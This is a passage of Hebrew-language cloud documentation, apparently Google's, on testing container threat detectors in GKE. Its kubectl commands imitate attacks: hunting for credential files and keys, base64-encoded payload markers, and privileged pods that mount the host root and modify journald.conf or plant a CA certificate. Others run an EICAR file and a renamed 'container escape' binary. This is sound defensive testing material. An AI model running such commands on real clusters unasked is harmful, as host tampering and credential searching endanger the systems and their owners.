        "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" }] }}'
     

הליך הבדיקה הזה מפעיל ממצא של גישה לקובץ רגיש שאפשר לראות ב-Security Command Center, ואם הגדרתם רישום ביומן עבור זיהוי איומים בקונטיינר, גם ב-Cloud Logging. האפשרות להציג ממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

גישה לפרטי כניסה: איתור Google Cloud פרטי כניסה

כדי להפעיל את הממצא Credential Access: Find Google Cloud Credentials, צריך להריץ קובץ בינארי שיכול לחפש תוכן בקובץ בתוך קונטיינר. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הוא מעתיק את /bin/ls ומשנה את השם שלו ל-grep. אחר כך מופעל הקובץ הבינארי ששמו שונה עם ארגומנטים שמציינים דפוס חיפושים שמצביע על סוג מסוים של Google Cloud פרטי כניסה. הפעולה הזו מסומנת כחשודה כי היא מחקה את ההתנהגות שנצפתה בניסיון לאתר אישורים של Google Cloud .

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים קובץ בינארי של כלי חיפוש כמו find עם הארגומנטים המתאימים:

   • צומת x86:

     tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
     

   • צומת ARM:

     tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
     

במסגרת הליך הבדיקה הזה נוצר ממצא Credential Access: Find Google Cloud Credentials שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את רישום ביומן לזיהוי איומים בקונטיינר. הצגת הממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

גישה לפרטי כניסה: סיור במפתח GPG

כדי להפעיל את הממצא Credential Access: GPG Key Reconnaissance, צריך להריץ קובץ בינארי שיכול לחפש תוכן של קובץ בתוך קונטיינר. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הוא מעתיק את /bin/ls ומשנה את השם שלו ל-find (או לכלי חיפוש מתאים אחר כמו grep). לאחר מכן, הקובץ הבינארי ששמו שונה מופעל עם ארגומנטים שמציינים תבנית חיפוש שמצביעה על מפתחות פרטיים או סיסמאות, או תבניות תוכן שמצביעות על סיסמאות או סודות. הפעולה הזו מסומנת כחשודה כי היא דומה להתנהגות שנצפית כשמנסים לאתר מפתחות אבטחה של GPG.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים קובץ בינארי של כלי חיפוש כמו find עם הארגומנטים המתאימים:

   • צומת x86:

     tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/find; /tmp/find secring.gpg"
     

   • צומת ARM:

     tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/find; /tmp/find secring.gpg"
     

במסגרת הליך הבדיקה הזה נוצרת Credential Access: GPG Key Reconnaissanceממצא שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

גישה לפרטי כניסה: חיפוש מפתחות פרטיים או סיסמאות

כדי להפעיל את הממצא Credential Access: Search Private Keys or Passwords, צריך להריץ קובץ בינארי שיכול לחפש תוכן של קובץ בתוך קונטיינר. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הוא מעתיק את /bin/ls ומשנה את השם שלו ל-find (או לכלי חיפוש מתאים אחר כמו grep). לאחר מכן, הקובץ הבינארי ששמו שונה מופעל עם ארגומנטים שמציינים תבנית חיפוש שמצביעה על מפתחות פרטיים או סיסמאות, או תבניות תוכן שמצביעות על סיסמאות או סודות. הפעולה הזו מסומנת כחשודה כי היא מחקה את ההתנהגות שנצפתה בניסיון לאתר מידע רגיש כמו מפתחות פרטיים או סיסמאות בסביבה מבודדת.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים קובץ בינארי של כלי חיפוש כמו find עם הארגומנטים המתאימים:

   • צומת x86:

     tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/find; /tmp/find id_rsa"
     

   • צומת ARM:

     tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/find; /tmp/find id_rsa"
     

במהלך הליך הבדיקה הזה נוצר ממצא Credential Access: Search Private Keys or Passwords שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

התחמקות מהגנה: שורת פקודה של קובץ ELF בפורמט Base64

כדי להפעיל ממצא Defense Evasion: Base64 ELF File Command Line, התהליך צריך לכלול את base64 כארגומנט ואת f0VMRgIB כארגומנט שהוא הצורה המקודדת ב-Base64 של ELF. בדוגמה הזו נשתמש בתמונה העדכנית ביותר של Ubuntu 24.04. לאחר מכן מריצים את base64 עם הארגומנטים -d ו-f0VMRgIB. הפעולה הזו מסומנת כחשודה כי היא מחקה את ההתנהגות שנצפתה בניסיון לפענח נתונים בינאריים כדי להריץ קוד זדוני.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים קובץ בינארי של כלי חיפוש כמו find עם הארגומנטים המתאימים:

   • צומת x86:

     tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "base64 -d f0VMRgIB"
     

   • צומת ARM:

     tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "base64 -d f0VMRgIB"
     

במהלך הליך הבדיקה הזה נוצרים שני ממצאים שניתן לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינרים.Defense Evasion: Base64 ELF File Command Line אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center. נוצרות שתי תוצאות כי גם הפקודה הראשונית bash -c וגם הביצוע של הפקודה base64 -d עומדים בקריטריונים לתוצאות.

התחמקות מהגנה: סקריפט Python עם קידוד Base64 הופעל

כדי להפעיל ממצא Defense Evasion: Base64 Encoded Python Script Executed, תהליך צריך לכלול את echo או base64 כארגומנט, ואת aW1wb3J0IH כארגומנט שהוא הצורה בקידוד base64 של python -c. בדוגמה הזו נשתמש בתמונה העדכנית ביותר של Ubuntu 24.04. הפונקציה echo מופעלת עם הארגומנט aW1wb3J0IH. הפעולה הזו מסומנת כחשודה כי היא מחקה את ההתנהגות שנצפתה בניסיון לפענח נתונים בינאריים כדי להריץ קוד זדוני.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים קובץ בינארי של כלי חיפוש כמו find עם הארגומנטים המתאימים:

   • צומת x86:

     tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "echo aW1wb3J0IH"
     

   • צומת ARM:

     tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "echo aW1wb3J0IH"
     

במסגרת הליך הבדיקה הזה נוצר Defense Evasion: Base64 Encoded Python Script Executedממצא שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

התחמקות מהגנה: סקריפט מעטפת בקידוד Base64 הופעל

כדי להפעיל ממצא Defense Evasion: Base64 Encoded Shell Script Executed, התהליך צריך לכלול את echo או base64 כארגומנט, ואת IyEvYmluL2Jhc2gK כארגומנט שהוא הצורה בקידוד base64 של #!/bin/bash. בדוגמה הזו נשתמש בתמונה העדכנית ביותר של Ubuntu 24.04. הפונקציה echo מופעלת עם הארגומנט IyEvYmluL2Jhc2gK. הפעולה הזו מסומנת כחשודה כי היא מחקה את ההתנהגות שנצפתה בניסיון לפענח נתונים בינאריים כדי להריץ קוד זדוני.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים קובץ בינארי של כלי חיפוש כמו find עם הארגומנטים המתאימים:

   • צומת x86:

     tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "echo IyEvYmluL2Jhc2gK"
     

   • צומת ARM:

     tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "echo IyEvYmluL2Jhc2gK"
     

במסגרת הליך הבדיקה הזה נוצר Defense Evasion: Base64 Encoded Shell Script Executedממצא שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

התחמקות מהגנה: השבתה או שינוי של מערכת הביקורת ב-Linux (תצוגה מקדימה)

כדי להפעיל זיהוי של שינוי בביקורת של Linux, משנים אחד מקובצי ההגדרה שקשורים לביקורת של המארח. בדוגמה הזו פורסים את קובץ האימג' האחרון של Ubuntu 24.04, מעלים את מערכת הקבצים הבסיסית של המארח לקונטיינר ואז משנים את /etc/systemd/journald.conf.

זהו גלאי לניטור קבצים, ויש לו דרישות ספציפיות לגבי גרסת GKE.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים קובץ בינארי שמשנה אחד מקובצי התצורה שקשורים לביקורת של המארח, כמו /etc/systemd/journald.conf.

   • צומת x86:

     tag="ktd-test-audit-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
     

   • צומת ARM:

     tag="ktd-test-audit-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
        "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" }] }}'
     

הליך הבדיקה הזה מפעיל ממצא Disable or Modify Linux Audit System שאפשר לראות ב-Security Command Center, ואם הגדרתם רישום ביומן עבור זיהוי איומים בקונטיינר, גם ב-Cloud Logging. האפשרות להציג ממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

התחמקות מהגנה: הפעלת כלי קומפילציה של קוד במאגר

כדי להפעיל ממצא Defense Evasion: Launch Code Compiler Tool In Container (Preview), כלי קומפילציה של קוד צריך לפעול בתוך מאגר תגים. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. היא מעתיקה את /bin/ls ומשנה את השם שלו ל-gcc10 (או לקומפיילר אחר כמו clang). ההתנהגות הזו מסומנת כחשודה כי היא יכולה להצביע על ניסיון לקמפל ולהפעיל קוד זדוני במאגר כדי להתחמק מזיהוי או לשנות את ההתנהגות שלו.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים קובץ בינארי של קומפיילר כמו gcc10 עם הארגומנטים המתאימים:

   • צומת x86:

     tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
     

   • צומת ARM:

     tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
     

במסגרת הליך הבדיקה הזה נוצרת ממצא Defense Evasion: Launch Code Compiler Tool In Container שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

התחמקות מהגנה: אישור בסיס הותקן (תצוגה מקדימה)

כדי להפעיל זיהוי של אישור בסיס שהותקן, יוצרים קובץ של אישור בסיס במארח ממכולה. בדוגמה הזו פורסים את קובץ האימג' האחרון של Ubuntu 24.04, ומטמיעים את מערכת הקבצים הבסיסית של המארח בקונטיינר. לאחר מכן, המערכת יוצרת קובץ אישור ריק בספרייה המתאימה.

זהו גלאי לניטור קבצים, ויש לו דרישות ספציפיות לגבי גרסת GKE.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. התקנת קובץ אישור במארח מתוך מאגר תגים.

   • צומת x86:

     tag="ktd-test-cert-install-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
     

   • צומת ARM:

     tag="ktd-test-cert-install-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
        "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" }] }}'
     

     הליך הבדיקה הזה מפעיל ממצא של אישור בסיס שהותקן, שאפשר לראות ב-Security Command Center, ואם הגדרתם רישום ביומן של זיהוי איומים בקונטיינר, גם ב-Cloud Logging. האפשרות להציג ממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

ביצוע: נוסף קובץ בינארי זדוני שהופעל

כדי להפעיל הרצה: נוסף ממצא מסוג Malicious Binary Executed (הפעלה של קובץ בינארי זדוני). כדי להפעיל הרצה, צריך להוסיף קובץ בינארי זדוני למאגר התגים ולהריץ אותו. בדוגמה הזו פורסים את התמונה האחרונה של Ubuntu 24.04, יוצרים קובץ זדוני מדומה ואז מריצים אותו. ההרצה של הקובץ הבינארי לא צפויה כי הקובץ הבינארי הזדוני המדומה לא היה חלק מקובץ אימג' של קונטיינר המקורי, והקובץ הבינארי הוא קובץ בדיקה של EICAR, קובץ שסווג כזדוני על ידי מודיעין איומי סייבר.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. משחררים את הקובץ הבינארי של EICAR ומריצים אותו:

   • צומת x86:

     tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- sh -c \
           "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
     

   • צומת ARM:

     tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- sh -c \
           "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
     

במהלך הליך הבדיקה הזה נוצר ממצא מסוג Execution: Added Malicious Binary Executed שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את הרישום ביומן עבור זיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: נוספה טעינה של ספרייה זדונית

כדי להפעיל הרצה: הוספת ממצא של טעינת ספרייה זדונית, מוסיפים ספרייה זדונית למאגר ומטעינים אותה. בדוגמה הזו מתבצעת פריסה של קובץ האימג' האחרון של Ubuntu 24.04, נוצרת ספרייה זדונית מדומה ואז היא נטענת באמצעות mmap. טעינת הספרייה לא צפויה כי הספרייה הזדונית המדומה לא הייתה חלק מקובץ אימג' של קונטיינר המקורית, וכי הספרייה היא קובץ בדיקה של EICAR, שמסווג כזדוני על ידי מודיעין איומי סייבר.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מוסיפים את קובץ EICAR וטוענים אותו:

   • צומת x86:

     tag="ktd-test-added-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- sh -c "
           apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
           echo -n '$eicar' > /tmp/test_mal_lib;
           cat << 'EOF' > /tmp/loader.c
     #include <fcntl.h>
     #include <sys/mman.h>
     #include <sys/stat.h>
     #include <unistd.h>
     #include <stdlib.h>
     int main(int argc, char *argv[]) {
        int fd = open(argv[1], O_RDONLY);
        if (fd == -1) return 1;
        struct stat sb;
        if (fstat(fd, &sb) == -1) return 1;
        void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
        if (addr == MAP_FAILED) return 1;
        write(1, addr, sb.st_size);
        munmap(addr, sb.st_size);
        close(fd);
        return 0;
     }
     EOF
           gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /tmp/test_mal_lib
           sleep 10"
     

   • צומת ARM:

     tag="ktd-test-added-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
     "$tag" -- sh -c "
           apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
           echo -n '$eicar' > /tmp/test_mal_lib;
           cat << 'EOF' > /tmp/loader.c
     #include <fcntl.h>
     #include <sys/mman.h>
     #include <sys/stat.h>
     #include <unistd.h>
     #include <stdlib.h>
     int main(int argc, char *argv[]) {
        int fd = open(argv[1], O_RDONLY);
        if (fd == -1) return 1;
        struct stat sb;
        if (fstat(fd, &sb) == -1) return 1;
        void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
        if (addr == MAP_FAILED) return 1;
        write(1, addr, sb.st_size);
        munmap(addr, sb.st_size);
        close(fd);
        return 0;
     }
     EOF
           gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /tmp/test_mal_lib
           sleep 10"
     

תהליך הבדיקה הזה יוצר ממצא מסוג Execution: Added Malicious Library Loaded (ביצוע: ספרייה זדונית נוספה ונטענה), שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את הרישום ביומן עבור זיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: פירצה בקונטיינר

כדי להפעיל ביצוע: ממצא של פירצה בקונטיינר, מציבים קובץ בינארי בקונטיינר ומבצעים אותו. בדוגמה הזו, הפריסה היא של תמונת Ubuntu 24.04 העדכנית, העתקה של /bin/ls למיקום אחר, שינוי השם שלה לכלי חשוד (botb-linux-amd64) והרצה שלה עם ארגומנטים נוספים. הפעולה הזו נחשבת לחשודה כי הביצוע שלה מדמה התנהגות שתואמת לניסיון בריחה מהקונטיינר.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מורידים קובץ בינארי של כלי לניצול לרעה של קונטיינר, כמו botb-linux-amd64, ומריצים אותו:

   • צומת x86:

     tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
     

   • צומת ARM:

     tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
     

במסגרת הליך הבדיקה הזה נוצר ממצא מסוג Execution: Container Escape שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם רישום ביומן ל-זיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: ביצוע ללא קבצים ב-/memfd:

כדי להפעיל ממצא Execution: Fileless Execution in /memfd:, צריך להריץ תהליך ממערכת הקבצים בזיכרון /memfd:. בדוגמה הזו נשתמש בתמונת Python העדכנית ביותר. כלי השירות /bin/ls מועתק לקובץ אנונימי ב-/memfd:. הקובץ הבינארי שהועתק מופעל. הביצוע של קובץ בינארי ב-/memfd: מסומן כחשוד כי הוא מחקה את ההתנהגות של אובייקט שמנסה לבצע פעולה בזיכרון כדי להימנע מזיהוי מבוסס-קובץ.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

